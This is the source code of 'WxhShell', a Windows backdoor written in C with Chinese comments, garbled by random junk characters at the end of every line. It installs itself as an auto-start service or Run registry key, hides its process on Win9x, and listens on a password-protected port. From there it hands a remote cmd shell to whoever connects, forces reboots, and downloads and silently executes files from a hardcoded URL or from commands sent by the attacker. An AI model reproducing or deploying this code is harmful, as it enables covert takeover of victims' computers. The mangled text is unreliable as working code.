    if(Boot(SHUTDOWN)) ]lE5^<<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aSHN*tP%y  
    else { uz=9L<$  
    closesocket(wsh); k{ZQM  
    ExitThread(0); [W <j  
    } LHA :frC  
    break; 5C*- v,hF  
    } @KZW*-"  
  // 获取shell EF=5[$ u  
  case 's': { 07ppq?,y  
    CmdShell(wsh); puEu)m^  
    closesocket(wsh); n}4q2x"  
    ExitThread(0); 9~K+h/  
    break; 6vJ S"+ <  
  } XZ(<Mo\v  
  // 退出 jr-9KxE  
  case 'x': { 37M,Os1(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ']OT7)_  
    CloseIt(wsh); Hf30ve}  
    break; uo|:n"v  
    } ke/4l?zs  
  // 离开 eU]I !pI<  
  case 'q': { F)/4#[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N1vA>(2A  
    closesocket(wsh); ^EmePkPI  
    WSACleanup(); iT{[zLz>1  
    exit(1); Y2g%{keo  
    break; QNXS.!\P  
        } W3%RB[s-  
  } 0}9jl  
  } k@[[vj|W  
p2+K-/}ApP  
  // 提示信息 X2Q35.AB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qpa}6JVQ+j  
} ;~`/rh V\  
  } aouYPxA`  
wg:\$_Og  
  return; v9t'CMU  
} @bnw$U`+  
&{q'$oF  
// shell模块句柄 }XCh>LvX  
int CmdShell(SOCKET sock)  8#1o  
{ /Vx EqIK  
STARTUPINFO si; AB<bW3qf(  
ZeroMemory(&si,sizeof(si)); \3F)M`g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bIV9cpW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mdu\ci)lr  
PROCESS_INFORMATION ProcessInfo; ,. <c|5R  
char cmdline[]="cmd"; BcQw-<veu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~)ysEZl  
  return 0; PklJU:Pu\U  
} d9T:0A`M  
5.kKg=a  
// 自身启动模式 rQTG-& ,  
int StartFromService(void) iI*qx+>f?  
{ {?3i^Q=V  
typedef struct Vk76cV D  
{ N7;kWQH  
  DWORD ExitStatus; @TzUc E  
  DWORD PebBaseAddress; zMO xJ   
  DWORD AffinityMask; ]2[\E~^KU  
  DWORD BasePriority; B.gEV*@  
  ULONG UniqueProcessId; CT<z1)#@^  
  ULONG InheritedFromUniqueProcessId; " #U-*Z7  
}   PROCESS_BASIC_INFORMATION; Pb59RE:7V  
8CvNcO;H0  
PROCNTQSIP NtQueryInformationProcess; xZQyH  
a%/x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {OS[0LB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'BVI^H4  
5T'v iG}%  
  HANDLE             hProcess; ,}I m^~5  
  PROCESS_BASIC_INFORMATION pbi; |n(b>.X  
^j1G08W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gxt6]+r  
  if(NULL == hInst ) return 0; !4YmaijeN  
X7MA>j3m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T@n};,SQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;YBk.} %  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9h6siK(F  
`vf]C'  
  if (!NtQueryInformationProcess) return 0; C2DAsSw  
Kzwe36O;?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yv$hIU2X  
  if(!hProcess) return 0; $5Rx>$~+d  
B? XK;*])  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oS_YQOoD  
@?t+O'&  
  CloseHandle(hProcess); K>-01AGHL  
0rAuK7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jl$ X3wE  
if(hProcess==NULL) return 0; z07:E>D]  
A 0;ng2&  
HMODULE hMod; e_1L J  
char procName[255]; xi)M8\K  
unsigned long cbNeeded; 1XHE:0!dQ  
?|n@ %'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vOtILL6  
> V >GiSni  
  CloseHandle(hProcess); TEC#owz  
}rWg ']  
if(strstr(procName,"services")) return 1; // 以服务启动 DMKtTt[}  
JDO n`7!w  
  return 0; // 注册表启动 Z)}2bJwA  
} 0}g~69Z1=  
T?7++mcA  
// 主模块 t\n'Kuk`  
int StartWxhshell(LPSTR lpCmdLine) 2>Qy*  
{ [X@JH6U r  
  SOCKET wsl; DJ!pZUO{  
BOOL val=TRUE; jk%H+<FU`  
  int port=0; k<rJm P{  
  struct sockaddr_in door; 6O*lZNN  
>.hDt9@4  
  if(wscfg.ws_autoins) Install(); M{YN^ Kk  
(/!zHq  
port=atoi(lpCmdLine); Q>L.  
@q{.shqo  
if(port<=0) port=wscfg.ws_port; nu[["f~  
GB)< 5I  
  WSADATA data; w)/~Gn676  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aT BFF  
NA#,q 8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZRFHs>0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1_M}Dc+J  
  door.sin_family = AF_INET; [4;G^{ bX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6DC+8I<  
  door.sin_port = htons(port); =pnQ?2Og  
1buO&q!vn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YuoIhT  
closesocket(wsl); `9acR>00$  
return 1; <2O XXQ1  
} O5*3 qJp  
$A T kCO  
  if(listen(wsl,2) == INVALID_SOCKET) { [|(=15;  
closesocket(wsl); C)%qs]  
return 1; <%=<9~e  
} Qm*XWo  
  Wxhshell(wsl); fC$@m_-KD  
  WSACleanup(); ]q&NO(:kbq  
lLU8eHf\  
return 0; }!m}?  
S{,|Fa^PPO  
} ?0lz!Nq'S  
U7-*]ik  
// 以NT服务方式启动 1*trtb4F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g3(LDqB'.  
{ ^^*Ia'9   
DWORD   status = 0; ZM [Z9/S8  
  DWORD   specificError = 0xfffffff; ciFqj3JS  
0(o.[% Ye  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h]j>S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x]t$Zb/Uxa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v'r)d-T   
  serviceStatus.dwWin32ExitCode     = 0; 9xFI%UOb#  
  serviceStatus.dwServiceSpecificExitCode = 0; t~8H~%T>v  
  serviceStatus.dwCheckPoint       = 0; vD(:?M  
  serviceStatus.dwWaitHint       = 0; + 7wMM#z  
p+b$jKWQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '@HCwEuz  
  if (hServiceStatusHandle==0) return; *<X*)A{C  
|n~,{=  
status = GetLastError(); Mu6DT p~k  
  if (status!=NO_ERROR) -]QP#_   
{ Wmx3@]<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +M<W8KF  
    serviceStatus.dwCheckPoint       = 0; 'c3'eJ0  
    serviceStatus.dwWaitHint       = 0; B|'}HBkP  
    serviceStatus.dwWin32ExitCode     = status; K'f2 S  
    serviceStatus.dwServiceSpecificExitCode = specificError; `Io#440;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h,,B"vPS  
    return; 4b6)+*[O  
  } ^@Z8 _PZo  
f85~[3 J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L<6nM ;d  
  serviceStatus.dwCheckPoint       = 0; >=.3Vydi1  
  serviceStatus.dwWaitHint       = 0; )c532 y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J5Ti@(G5V  
} FOjX,@x&  
n+nZ;GJ5d  
// 处理NT服务事件,比如:启动、停止 iU(B#ohW"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (B! DBnq  
{ <-,y0Y'  
switch(fdwControl) '~1Zr uO  
{ nC)"% Sa  
case SERVICE_CONTROL_STOP: WuTkYiF  
  serviceStatus.dwWin32ExitCode = 0; L$y~\1-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z";(0%  
  serviceStatus.dwCheckPoint   = 0; VCvf'$4(X  
  serviceStatus.dwWaitHint     = 0; VmRfnH"  
  { 9mjJC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m7i(0jd +  
  } }{Ra5-PY  
  return; 0f_A"K  
case SERVICE_CONTROL_PAUSE: kO$n0y5e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ab]Q1kD  
  break; hFxT@I~  
case SERVICE_CONTROL_CONTINUE: <`wOy [e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @a,=ApS"  
  break; z#GSt ZT  
case SERVICE_CONTROL_INTERROGATE: ;<"V}, C  
  break; 0Gu?;]GSv  
}; k"%sdYkb!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >qmNT/  
} DfVJ~,x~  
$8SSu|O+x  
// 标准应用程序主函数 M}q;\}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y/T-q<ag8  
{ PWkSl  
zS h9`F  
// 获取操作系统版本 *zW]IQ'A  
OsIsNt=GetOsVer(); |$~]|SK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v5U'ky :  
9<3fH J?vq  
  // 从命令行安装 #zBqj;p  
  if(strpbrk(lpCmdLine,"iI")) Install(); u7j,Vc'~  
$\bVu2&I  
  // 下载执行文件 VN'\c3;  
if(wscfg.ws_downexe) { =%s6QFR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NytodVZ'3  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1GB]Yi[>  
} 16 \)C/*  
Q>cEG"  
if(!OsIsNt) { *xY3F8  
// 如果时win9x,隐藏进程并且设置为注册表启动 -  eIo  
HideProc(); 7>0u N|  
StartWxhshell(lpCmdLine); )d2:r 07a  
} 8=zREt<Se  
else oXN(S:ZF  
  if(StartFromService()) CF@*ki3X  
  // 以服务方式启动 3i'01z  
  StartServiceCtrlDispatcher(DispatchTable); VL'wrgk  
else {3kz\FS  
  // 普通方式启动 kk4+>mk  
  StartWxhshell(lpCmdLine); zQ<;3+*  
nHRk2l|  
return 0; 4:pgZz!  
} Dsb Tx.vA  
$Sa7N%D  
rBy0hGx  
gGx(mX._L?  
=========================================== _*b`;{3  
.yFO] r1aL  
KWAd~8,mk  
}[h]z7e2S  
lP*=4Jh  
`AvK=]  
" [IAk9B.\  
b;#_?2c  
#include <stdio.h> $)BPtGMGo  
#include <string.h> rK`^A  
#include <windows.h> *<6dB#' J  
#include <winsock2.h> ^:}C,lIrG  
#include <winsvc.h> y6x./1Nb}<  
#include <urlmon.h> FK94CI  
`!(%R k  
#pragma comment (lib, "Ws2_32.lib") aw~h03R_Z  
#pragma comment (lib, "urlmon.lib") p<}y'7(  
,v#n\LD`  
#define MAX_USER   100 // 最大客户端连接数 dUl"w`3  
#define BUF_SOCK   200 // sock buffer kqxq'Aq)d  
#define KEY_BUFF   255 // 输入 buffer @^  *62  
wu`+KUx  
#define REBOOT     0   // 重启  Fq5u%S  
#define SHUTDOWN   1   // 关机 ! Vlx  
('$*QC.M  
#define DEF_PORT   5000 // 监听端口 _ qwf3Q@  
/e^) *r  
#define REG_LEN     16   // 注册表键长度 B3u/ y  
#define SVC_LEN     80   // NT服务名长度 ` aF8|tc_  
 N&kUTSd  
// 从dll定义API * fj`+J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cAot+N+9|]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0a#v}w^ *  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pV_zePyOn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^;.u }W  
\i@R5v=zL  
// wxhshell配置信息 .:B>xg~2  
struct WSCFG { );6f8H@G  
  int ws_port;         // 监听端口 ?%Tx% dB  
  char ws_passstr[REG_LEN]; // 口令 MPy>< J  
  int ws_autoins;       // 安装标记, 1=yes 0=no `Syfl^9B  
  char ws_regname[REG_LEN]; // 注册表键名 4z26a  
  char ws_svcname[REG_LEN]; // 服务名 a?8)47)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v+`'%E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .XiO92d9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vyB{35p$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (v|<" tv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \_6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 75R#gQ]EV  
!MOsP<2  
}; zUZET'Bm9  
Xw<;)m  
// default Wxhshell configuration &=$f\O1Ty  
struct WSCFG wscfg={DEF_PORT, Dj'?12Onu=  
    "xuhuanlingzhe", A9u>bWIE7  
    1, m)"(S  
    "Wxhshell", VBF:MAA  
    "Wxhshell", -C}"1|P!  
            "WxhShell Service", ?A_+G 5  
    "Wrsky Windows CmdShell Service", JX[]u<h?  
    "Please Input Your Password: ", (xVx|:R[<H  
  1, <eS/-W %n6  
  "http://www.wrsky.com/wxhshell.exe", !Ko>   
  "Wxhshell.exe" !G0Mg; ,  
    }; VwZ~ntk  
;in-)`UC!  
// 消息定义模块 :yJ([  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^_DwuY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zv=pS (9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >A6W^J|[  
char *msg_ws_ext="\n\rExit."; wy${EY^h  
char *msg_ws_end="\n\rQuit."; ilHf5$  
char *msg_ws_boot="\n\rReboot..."; &z:bZH]DH  
char *msg_ws_poff="\n\rShutdown..."; ?eX/vqk  
char *msg_ws_down="\n\rSave to "; yt="kZ  
W} H~ka  
char *msg_ws_err="\n\rErr!"; =BE!  
char *msg_ws_ok="\n\rOK!"; |UMm>.\'  
t8h*SHD9  
char ExeFile[MAX_PATH]; -T{2R:\{  
int nUser = 0; B@i%B+qCLv  
HANDLE handles[MAX_USER]; l 'wu-  
int OsIsNt; qm:C1#<p   
a|oh Ad  
SERVICE_STATUS       serviceStatus; j 4=iHnE;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `67i1w`  
{z0iWY2Xw  
// 函数声明 Ng*-Bw)p]  
int Install(void); LD5`9-  
int Uninstall(void); {"{]S12N  
int DownloadFile(char *sURL, SOCKET wsh); j3/6hE>  
int Boot(int flag); REK):(i7P  
void HideProc(void); :DNI\TmhJ  
int GetOsVer(void); 2y;vX|lX]  
int Wxhshell(SOCKET wsl); hCr,6ncC  
void TalkWithClient(void *cs); /_{ZWLi(  
int CmdShell(SOCKET sock); \gPMYMd  
int StartFromService(void); 2gZp O9  
int StartWxhshell(LPSTR lpCmdLine); <,n:w[+!`P  
tcv(<0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V,d\Wkk/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O_4B> )zd  
jaKW[@<  
// 数据结构和表定义 x< 2]UB`  
SERVICE_TABLE_ENTRY DispatchTable[] = R<6y7?]bZ  
{ Qg(;>ops  
{wscfg.ws_svcname, NTServiceMain}, }8aqSD<:  
{NULL, NULL} SE^l`.U@  
}; *PL&CDu=)  
d4\JM 65  
// 自我安装 };9s8VZE  
int Install(void) , h'Q  
{ 9wldd*r  
  char svExeFile[MAX_PATH]; e"eIQI|N  
  HKEY key; :}Yk0*  
  strcpy(svExeFile,ExeFile); Hv,ll1@h  
U), HrI>;  
// 如果是win9x系统,修改注册表设为自启动 nYZ6'Iwi'  
if(!OsIsNt) { Y)5O %@Rl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UWV%  y P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y3&,U  
  RegCloseKey(key); [Tbnfst  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tJ>>cFx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !o_eK\p  
  RegCloseKey(key); vn$=be8l4  
  return 0; W$NFk(  
    } Aixe?A_x  
  } 6?<lS.s  
} Y!_c/!Tx  
else { O$m &!J  
GAYn*'<  
// 如果是NT以上系统,安装为系统服务 K&NH?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;)CN=J!  
if (schSCManager!=0) 1 @t.J>  
{ O(8CrKYY  
  SC_HANDLE schService = CreateService u_9c>  
  ( ui#nN   
  schSCManager, .Hqq!&  
  wscfg.ws_svcname, 5= &2=  
  wscfg.ws_svcdisp, kG!hqj  
  SERVICE_ALL_ACCESS, xlwf @XW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T:{r*zLSN  
  SERVICE_AUTO_START, [(#)9/3,  
  SERVICE_ERROR_NORMAL, # M/n\em"X  
  svExeFile, 'hBnV xd&  
  NULL, !JrKTB%  
  NULL, hZ e{Ri  
  NULL, 5yoi;$~}_0  
  NULL, 'ZMh<M[  
  NULL f7Nmvla[q  
  ); Ul]7IUzsu  
  if (schService!=0) `j)56bR  
  { W5`pQdk  
  CloseServiceHandle(schService); ?VE'!DW  
  CloseServiceHandle(schSCManager); l_:P |  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nr>UZlU8  
  strcat(svExeFile,wscfg.ws_svcname); L{F]uz_[x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1aRTvaGo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W& 0R/y7  
  RegCloseKey(key); +O 7( >a  
  return 0; ;#v3C;  
    } >\? z,Nin  
  } ZJ)Z  
  CloseServiceHandle(schSCManager); zqNzWX  
} ~<VxtcEBz  
} i]k)wr(  
/}U)|6- B  
return 1; eQ/w Mr  
} #n|5ng|CJ  
=oL:|$Pj  
// 自我卸载 ]YhQQH1> ]  
int Uninstall(void) vJ'22)n  
{ -kLBq :M  
  HKEY key; h0 92S|iY  
|U{~t<BF#  
if(!OsIsNt) { _yN5sLLyb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $aJay]F  
  RegDeleteValue(key,wscfg.ws_regname); t>}S@T{~T  
  RegCloseKey(key); T=42]h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SQf[1}$ .  
  RegDeleteValue(key,wscfg.ws_regname);  d6tLC Q  
  RegCloseKey(key); i:jXh9+  
  return 0; "*X\'LPs=  
  } g{}<ptx]  
} 8el6z2  
} E<3xv;v8r  
else { `0]N#G T  
GZrN,M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hfY/)-60o  
if (schSCManager!=0) Fn`Zw:vp6  
{ mq4Zy3H   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b; C}=gg  
  if (schService!=0) 4lX_2QT]E  
  { unn2I|XH  
  if(DeleteService(schService)!=0) { p!:oT1U  
  CloseServiceHandle(schService); :~8@fEKb{  
  CloseServiceHandle(schSCManager);  ]aF;  
  return 0; >@ 8'C"F  
  } _4Eq_w`  
  CloseServiceHandle(schService); d9TTAaf  
  } Posz|u<x  
  CloseServiceHandle(schSCManager); J  Y8Rk=  
} '1b8>L  
} Bcv{Y\x;ko  
Aj cKz  
return 1; nn:'<6"oV  
} dX1jn;7  
SceHdx(]  
// 从指定url下载文件 +?"F=.SZ  
int DownloadFile(char *sURL, SOCKET wsh) KQ]sUNH  
{ ZXb{-b?[`  
  HRESULT hr; M 1 m]1<  
char seps[]= "/"; Xv!Gg6v6  
char *token; &K'*67h  
char *file; zKJQel5  
char myURL[MAX_PATH]; <CO_JWD  
char myFILE[MAX_PATH]; y'^U4# (  
6}R*7iM s  
strcpy(myURL,sURL); sHBTB6)lx  
  token=strtok(myURL,seps); ghB&wOm/  
  while(token!=NULL) 6ZHeAb]"  
  { 3^wHL:u  
    file=token; !6X6_ +}M  
  token=strtok(NULL,seps); _p:n\9k  
  } k6(</uRj  
[Y*>x2X  
GetCurrentDirectory(MAX_PATH,myFILE); Rjq\$aY}%  
strcat(myFILE, "\\"); =6ru%.8U,  
strcat(myFILE, file); 1gBLJ0q  
  send(wsh,myFILE,strlen(myFILE),0); jcj8w  
send(wsh,"...",3,0); N}n3 +F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %(&ja_oO  
  if(hr==S_OK) 8~Zw"  
return 0; %JSRC<,a  
else O(%6/r`L,k  
return 1; 3\P*"65  
Gf#l ^yr   
} diu"Nt  
b3>zdS]Q  
// 系统电源模块 ]\|2=  
int Boot(int flag) iupkb  
{ MQw}R7  
  HANDLE hToken; %+Nng<_U\T  
  TOKEN_PRIVILEGES tkp; 64U|]g d$  
!?ZR_=Y%  
  if(OsIsNt) { ?+ d{Rh) y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |LC"1 k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8k:^( kByF  
    tkp.PrivilegeCount = 1; Z_bVCe{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VS ECD;u4c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uZL,%pF3A  
if(flag==REBOOT) { K!9K^h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zOSUYn  
  return 0; Pi5MFw'v  
} !\{2s!l~  
else { r3' DXP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?F]P=S:x  
  return 0; Xux[  
} E-Xz  
  } 9[VYd '  
  else { ;0m J4G  
if(flag==REBOOT) { NX%1L! #  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6|q"lS*$S  
  return 0; xa'U_]m  
} V#$QKn`;  
else { &uE )Vr4R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L`<#vi  
  return 0; ws`r\k]3J  
} x7E] }h  
} ;0kAm Vy  
V*s\~h)  
return 1; nHbi{,3  
} T=pP  
_J \zj  
// win9x进程隐藏模块 U3B&3K} ~  
void HideProc(void) "zNS6I?rzE  
{ 2"a%%fv  
l]&A5tz3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3 $%#n*  
  if ( hKernel != NULL ) {ST8'hY  
  { ZMMx)}hS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ec#`9w$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  gh[q*%#  
    FreeLibrary(hKernel); 3O*iv{-&  
  } *>qc6d@'  
Z ;~%!  
return; 5s^vC2$)  
} Wx3DWY;  
r]xN&Ne5Q  
// 获取操作系统版本 N9d^;6;i  
int GetOsVer(void) [-l>f P0  
{ 8g{Mv#b%  
  OSVERSIONINFO winfo; Ygg+=@].@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;8vB7|54.  
  GetVersionEx(&winfo); D +0il=5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r,IekFBs  
  return 1; P]}:E+E<.I  
  else 11QZ- ^  
  return 0; j^b &Q  
} L T`T~|pz  
9HN&M*}  
// 客户端句柄模块 :tFc Pc'  
int Wxhshell(SOCKET wsl) yO8@.-jb  
{ J| &aqY  
  SOCKET wsh; 4IW90"uc  
  struct sockaddr_in client; 7lF;(l^Z>}  
  DWORD myID; l<=k#d  
N4VZl[7?  
  while(nUser<MAX_USER) X(d:!-_m *  
{ * wqR.n?  
  int nSize=sizeof(client); _G-6G=q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VWdTnu  
  if(wsh==INVALID_SOCKET) return 1; Tg@G-6u0c  
.Gr"| uII  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l8+1{6xP  
if(handles[nUser]==0) pK{G2]OK{U  
  closesocket(wsh); Vo{ ~D:)  
else jl 7>  
  nUser++; /-lW$.+{?  
  } zBTxM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3VMaD@nYa  
|]q{ qsy  
  return 0; V3*@n*"N;  
} LQ Ux}  
*j,noHUT~>  
// 关闭 socket N!?~Dgw  
void CloseIt(SOCKET wsh) &~.|9P/45  
{ E 8W*^^z(  
closesocket(wsh); SLkgIb~'X  
nUser--; bSI*`Dc"!  
ExitThread(0); G DBV  
} t`}=~/#`X  
!7]^QdBLY  
// 客户端请求句柄 ?t\GHQ$$?  
void TalkWithClient(void *cs) 7w5l[a/  
{ 2XBHo (  
+  rN#  
  SOCKET wsh=(SOCKET)cs; G^<m0ew|  
  char pwd[SVC_LEN]; 4s>L]! W$8  
  char cmd[KEY_BUFF]; *}HDq(/>w  
char chr[1]; w"M!**bP  
int i,j; h }&dvd  
WQw11uMt@q  
  while (nUser < MAX_USER) { r#ADxqkaV  
qS}{O0  
if(wscfg.ws_passstr) { 1$ }Tn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]x& R=)P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \mb@-kM)  
  //ZeroMemory(pwd,KEY_BUFF); ;/23CFYM  
      i=0; j}@LiH'Q  
  while(i<SVC_LEN) { qa: muW  
Ygfy;G%  
  // 设置超时 OL#i!ia.  
  fd_set FdRead; Q-s5-&h(  
  struct timeval TimeOut; 9XS>;<"2  
  FD_ZERO(&FdRead); `tHF}  
  FD_SET(wsh,&FdRead); =VWH8w.3  
  TimeOut.tv_sec=8; YyYp-0#  
  TimeOut.tv_usec=0; 6x!iL\Y~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F DGzh/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XI ><;#  
Bz,Xg-k+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y>nQ<  
  pwd=chr[0]; )WEOqaR]  
  if(chr[0]==0xd || chr[0]==0xa) { T 9}dgf  
  pwd=0; vXdI)Sx[  
  break; A$P Oc<  
  } a(-t"OL\  
  i++; 6]!Jo)BF  
    } N^[MeG,8  
5P);t9O6  
  // 如果是非法用户,关闭 socket Ho%%voJBS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @O6 2} F  
} _!vuDv%  
9j;!4AJ1t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0'5N[Bvp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?v+el,  
GIkVU6Q}  
while(1) { '|%\QWuZ  
u8x#XESR7  
  ZeroMemory(cmd,KEY_BUFF); yi-)4#YN  
"[_gRe*2  
      // 自动支持客户端 telnet标准   !a%_A^t7  
  j=0; JsX}PVuL  
  while(j<KEY_BUFF) { (c3O> *M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,k:>Z&:  
  cmd[j]=chr[0]; D#>d+X$  
  if(chr[0]==0xa || chr[0]==0xd) { &xC5Mecb*  
  cmd[j]=0; >n&+<06  
  break; nob}}w]~C  
  } {*F8'6YQ$  
  j++; >#;>6q9_  
    } `apCu  
i|!R*"  
  // 下载文件 w0.;86<MV  
  if(strstr(cmd,"http://")) { y]k{u\2A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,}^;q58  
  if(DownloadFile(cmd,wsh)) _4lKd`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&Af [X4s  
  else m$'ZiS5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2tp95E`(O  
  } @zsqjm  
  else { _^0UK|[  
y&F&Z3t  
